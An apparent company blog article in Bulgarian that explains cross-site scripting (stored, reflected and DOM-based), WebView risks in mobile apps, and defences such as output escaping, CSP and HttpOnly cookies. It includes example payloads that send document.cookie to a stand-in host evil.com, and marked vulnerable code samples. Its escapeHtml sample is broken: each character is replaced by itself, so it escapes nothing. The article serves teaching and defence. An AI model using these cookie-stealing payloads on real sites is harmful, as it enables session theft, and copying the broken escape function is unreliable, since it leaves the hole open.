XSS (Cross-Site Scripting) — вид уязвимост на уеб приложения, при която нападателят инжектира зловреден JavaScript код в съдържание, показвано на други потребители. Според данни на OWASP Top Ten (2025), XSS остава една от най-разпространените уязвимости, засягаща над 60% от уеб приложенията. Междусайтовият скриптинг позволява кражба на сесийни бисквитки, пренасочване на потребители към фишинг сайтове и модифициране на съдържанието на страниците в реално време.
Основни точки
XSS (Cross-Site Scripting) — е уязвимост, която позволява на нападателя да инжектира JavaScript код в уеб страница, който след това се изпълнява в браузъра на жертвата. Браузърът зарежда страницата от доверен сайт и изпълнява инжектирания скрипт със същите права като легитимния код на сайта. Това дава на нападателя достъп до бисквитки, session storage, DOM дървото на страницата и възможност да изпраща заявки от името на жертвата. XSS уязвимостите възникват, когато приложението вмъква потребителски данни в HTML страница без подходящо екраниране или валидация.
Терминът Cross-Site Scripting се появява за първи път през 2000 г. в Microsoft Security Bulletin. През последните 25 години XSS не е загубил актуалността си: според данни на HackerOne (2025), XSS съставлява около 22% от всички регистрирани уязвимости на платформата. Причината за жизнеспособността на XSS е сложността на контрола на всички входни точки на потребителски данни. Всяко поле за въвеждане, URL параметър, заглавка на HTTP заявка или име на файл може да стане вектор на атака, ако данните се отразяват в HTML кода без обработка.
XSS атаките могат да доведат до кражба на сесийни бисквитки, което позволява на нападателя да влезе в акаунта на жертвата без парола. Други последствия: пренасочване към фишинг сайтове, подмяна на съдържанието на страницата, кражба на лични данни, инсталиране на зловреден софтуер (drive-by download). През 2023 г. XSS атака срещу платформата Salesforce Community Cloud засегна данни на хиляди корпоративни клиенти, демонстрирайки, че дори големите платформи не са имунизирани срещу тази уязвимост.
Класификацията на XSS разделя атаките на три основни типа според начина на доставяне на зловредния код. Всеки тип изисква различен подход за защита: Stored XSS се блокира чрез екраниране на изхода от базата данни, Reflected — чрез екраниране на URL параметрите, DOM-based — чрез безопасна работа с DOM-API. Разбирането на разликата е основата на ефективна стратегия за сигурност.
| Тип | Съхранение на скрипта | Вектор на доставяне | Трудност на откриване |
|---|---|---|---|
| Stored XSS | База данни на сървъра | Коментари, профили, съобщения | Средна |
| Reflected XSS | URL параметри | Фишинг линкове, имейл | Висока |
| DOM-based XSS | Клиентски JavaScript | URL фрагменти, postMessage | Много висока |
Най-опасният тип XSS. Нападателят инжектира скрипт в данни, които сървърът съхранява в базата данни и показва при всяко зареждане на страницата. Типичен вектор — полето за коментар: нападателят публикува коментар с <script>document.location='https://evil.com/?c='+document.cookie</script>. Всеки потребител, който зареди страницата с този коментар, изпраща своите бисквитки на нападателя. Stored XSS не изисква никакви действия от жертвата освен посещение на страницата — което го прави особено опасен за социалните мрежи, форуми и блогове.
Зловредният скрипт се предава в HTTP заявката (обикновено в URL параметър) и веднага се отразява от сървъра в отговора. Нападателят създава линк от вида https://example.com/search?q=<script>...</script> и го разпространява чрез фишинг, социални мрежи или имейл. Жертвата, кликвайки върху линка, получава страница, където въведената заявка за търсене (скрипт) се показва без екраниране. Reflected XSS изисква социално инженерство — жертвата трябва да кликне върху линка, което намалява, но не премахва риска.
За разлика от Stored и Reflected, DOM-based XSS не изисква изпращане на данни към сървъра. Уязвимостта възниква, когато клиентският JavaScript вмъква потребителски данни от URL, document.referrer, postMessage или localStorage в DOM без безопасна обработка. Например код от вида document.getElementById('output').innerHTML = location.hash.substring(1) изпълнява произволен HTML и скриптове от URL фрагмента (#<img onerror='...'>). DOM-based XSS е най-труден за откриване, тъй като сървърът никога не получава зловредния пейлод — той се обработва изцяло от клиента.
// Пример за DOM-based XSS (УЯЗВИМ КОД)
// Ако userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
window.location.search
).get('message');
// document.write — опасен: вмъква суров HTML
document.write('<div>' + userInput + '</div>');
// БЕЗОПАСНА АЛТЕРНАТИВА — използвайте textContent
document.getElementById('output').textContent = userInput;
XSS атаката експлоатира фундаментално свойство на уеба: браузърът изпълнява JavaScript, получен от доверен домейн. Ако нападателят намери начин да инжектира своя код в HTML отговора на сървъра, браузърът го изпълнява със същите привилегии като легитимния код. Атаката преминава през три фази: инжектиране на зловреден код в съдържанието, доставяне на съдържанието до браузъра на жертвата и изпълнение на кода с достъп до DOM, бисквитки и storage.
Нападателят намира входна точка — поле, URL параметър или заглавка, чиято стойност сървърът включва в HTML отговора без екраниране. Типични входни точки: полета за търсене, полета за коментари, потребителско име, URL на аватар, файлове с бисквитки, HTTP заглавки (User-Agent, Referer). Съвременните рамки (React, Angular, Vue) автоматично екранират изхода, но разработчиците могат да изключат екранирането чрез dangerouslySetInnerHTML, bypassSecurityTrustHtml или v-html.
За Reflected XSS нападателят разпространява зловреден линк. За Stored XSS е достатъчно да публикува съдържание на целевия сайт и всеки посетител на страницата става жертва. DOM-based XSS се активира при зареждане на страницата с определен URL фрагмент. И трите фази могат да се изпълнят автоматично: ако XSS бъде открит в рекламен банер (съдържание на трета страна), атаката ще засегне всички потребители на сайта, докато банерът не бъде изключен.
// Пример за Reflected XSS в търсене (УЯЗВИМ БЕКЕНД)
// Вместо да екранира параметъра q, сървърът го вмъква в HTML
// Express.js — уязвим манипулатор:
app.get('/search', (req, res) => {
const query = req.query.q; // потребителски вход
res.send(`<h1>Results for: ${query}</h1>`);
});
// БЕЗОПАСНА ВЕРСИЯ — екраниране чрез encodeURI или шаблонен двигател:
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>Results for: ${query}</h1>`);
});
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
Мобилните приложения също са податливи на XSS атаки, макар и в по-малка степен от уеб сайтовете. Основният вектор е WebView и хибридните рамки (Cordova, Capacitor, React Native с WebView). Ако приложението зарежда уеб съдържание в WebView — особено потребителско съдържание (HTML имейли, статии, съобщения) — XSS уязвимостта може да доведе до изпълнение на JavaScript вътре в приложението с достъп до native функции чрез JavaScript моста.
Android WebView изпълнява JavaScript по подразбиране. Ако приложението зарежда HTML низ чрез loadDataWithBaseURL() или показва потребителско съдържание, XSS атака може да даде на нападателя достъп до JavaScript интерфейса (addJavascriptInterface). Google забрани използването на @JavascriptInterface за API < 17, но legacy код в стари приложения все още се среща. Защита: изключете JavaScript в WebView, ако не е необходим, и използвайте безопасно сърфиране.
React Native не използва WebView за потребителския интерфейс — компонентите се рендерират в native изгледи. Въпреки това, при показване на HTML чрез react-native-webview или rich-text компоненти, рискът от XSS се връща. Flutter използва собствен двигател за рендериране (Skia) и не поддържа JavaScript в HTML уиджети (flutter_html не изпълнява script тагове), но WebView плъгините (webview_flutter) са уязвими аналогично на native WebView. Най-добра практика — никога не предавайте непроверен HTML на WebView.
// Безопасна настройка на WebView в Android
val webView = findViewById<WebView>(R.id.webview)
// Изключваме JavaScript, ако интерактивност не е необходима
webView.settings.javaScriptEnabled = false
// Санираме HTML преди зареждане
val sanitizedHtml = Jsoup.clean(userHtml,
Whitelist.basic()
.removeProtocols("img", "src", "javascript")
)
webView.loadDataWithBaseURL(null, sanitizedHtml,
"text/html", "UTF-8", null)
Защитата срещу XSS се основава на три принципа: не вярвай на потребителския вход, екранирай преди изхода, използвай Content Security Policy. Екранирането на изхода (output encoding) — най-важният метод: всички данни, получени от потребителя, трябва да бъдат екранирани преди вмъкване в HTML, JavaScript, CSS или URL. Съвременните шаблонни двигатели (Twig, Handlebars, JSX, Blade) правят това автоматично, ако разработчикът не изключи екранирането със специални методи.
Екранирането зависи от контекста на вмъкване на данни. В HTML контекст се екранират <, >, &, кавичките. В JavaScript контекст се екранират обратни кавички,
, </script>. В CSS контекст — контролни символи. В URL контекст — URL кодиране. Грешка в контекста — например вмъкване на HTML екраниран низ в атрибут onclick — не защитава от XSS, тъй като onclick се изпълнява в JavaScript контекст, където е необходимо различно екраниране.
CSP — HTTP заглавка, ограничаваща източниците, от които браузърът може да зарежда скриптове, стилове и други ресурси. Строгият CSP (без unsafe-inline, без unsafe-eval) блокира изпълнението на всички inline скриптове, включително XSS вектори. Според данни на Google Security Blog (2025), сайтовете с CSP блокират 95% от XSS атаките. Пример: Content-Security-Policy: default-src 'self'; script-src 'self' забранява всички външни и inline скриптове. CSP не защитава от Stored XSS, ако скриптът се зарежда от същия домейн, но това изисква допълнителни усилия от нападателя.
Задаването на флаг HttpOnly за бисквитки предотвратява достъпа до тях чрез JavaScript (document.cookie), което блокира кражбата на сесийни бисквитки чрез XSS. Флагът Secure гарантира, че бисквитката се предава само чрез HTTPS. Комбинацията HttpOnly + Secure + SameSite=Lax прави кражбата на сесийни бисквитки чрез XSS практически невъзможна. Въпреки това, XSS все още може да изпълнява действия от името на потребителя (например да изпраща заявки), така че HttpOnly не е панацея, а част от цялостната защита.
| Метод на защита | Срещу кои типове XSS защитава | Ефективност |
|---|---|---|
| Екраниране на изхода | Stored, Reflected, DOM-based | 99% |
| CSP | Inline XSS, eval-based | 95% |
| HttpOnly бисквитки | Кражба на сесии чрез XSS | 100% (не могат да се четат) |
| Валидация на входа | Stored, Reflected | 50% (зависи от типа) |
| TRUSTED TYPES | DOM-based (innerHTML) | 90% |
Редовното тестване за XSS — задължителна част от CI/CD пайплайна за сигурно разработване. Автоматизираните скенери откриват до 80% от XSS уязвимостите, останалите изискват ръчно пентестване. Най-добрият подход е комбинация от SAST анализ (статичен), DAST сканиране (динамичен) и преглед на кода с фокус върху входните точки на потребителски данни.
За мобилни приложения, тестването за XSS включва анализ на WebView: проверка на JavaScript интерфейси, обработка на URL схеми и предаване на HTML към loadDataWithBaseURL. Също така се препоръчва тестване на обработката на postMessage в хибридни приложения и проверка какви данни се предават чрез JavaScript моста. Използвайте емулатор с прокси (Burp Suite) за прихващане и модифициране на трафика на мобилното приложение.
Често задавани въпроси
Stored XSS съхранява зловредния скрипт на сървъра (в базата данни) и се активира при всяко зареждане на страницата. Reflected XSS предава скрипта чрез URL параметър и атаката се активира само при кликване върху зловреден линк. Stored е по-опасен, тъй като не изисква действия от жертвата — достатъчно е просто да отвори заразената страница.
Не, HTTPS не защитава от XSS. HTTPS криптира трафика между браузъра и сървъра, но не влияе на обработката на потребителския вход от страна на сървъра. XSS уязвимостта съществува на ниво приложение, а не на транспортно ниво. HTTPS е задължителният минимум за сигурност, но не защита срещу XSS.
В повечето случаи XSS се изпълнява в пясъчната кутия на браузъра или WebView и няма достъп до файловата система или хардуера на устройството. Въпреки това, в Android WebView с активиран JavaScript интерфейс, XSS скриптът може да извика native методи на приложението. В iOS WKWebView също може да разкрие данни чрез JavaScriptCore, ако е конфигуриран съответният мост.
Използвайте Burp Suite или OWASP ZAP с конфигуриран прокси на мобилното устройство. Прихващайте заявките на приложението, модифицирайте параметрите и изпращайте XSS пейлодове. Проверявайте WebView за обработка на HTML чрез loadDataWithBaseURL и наличие на JavaScript мостове. За React Native, тествайте WebView компонентите отделно.
DOM-based XSS — е атака, при която JavaScript на страницата сам взима данни от URL или други източници и ги вмъква в HTML без проверка. Сървърът не участва — зловредният код се обработва изцяло в браузъра. Типичен пример: сайтът взима текст от location.hash и го вмъква чрез innerHTML, което позволява изпълнението на произволен HTML код.
Резюме
Ще разработим мобилно приложение под ключ
IT Sectr създава iOS и Android приложения за стартъпи и бизнеси от 2017 г. Ще ви консултираме и ще предложим най-доброто решение.
Прочетете също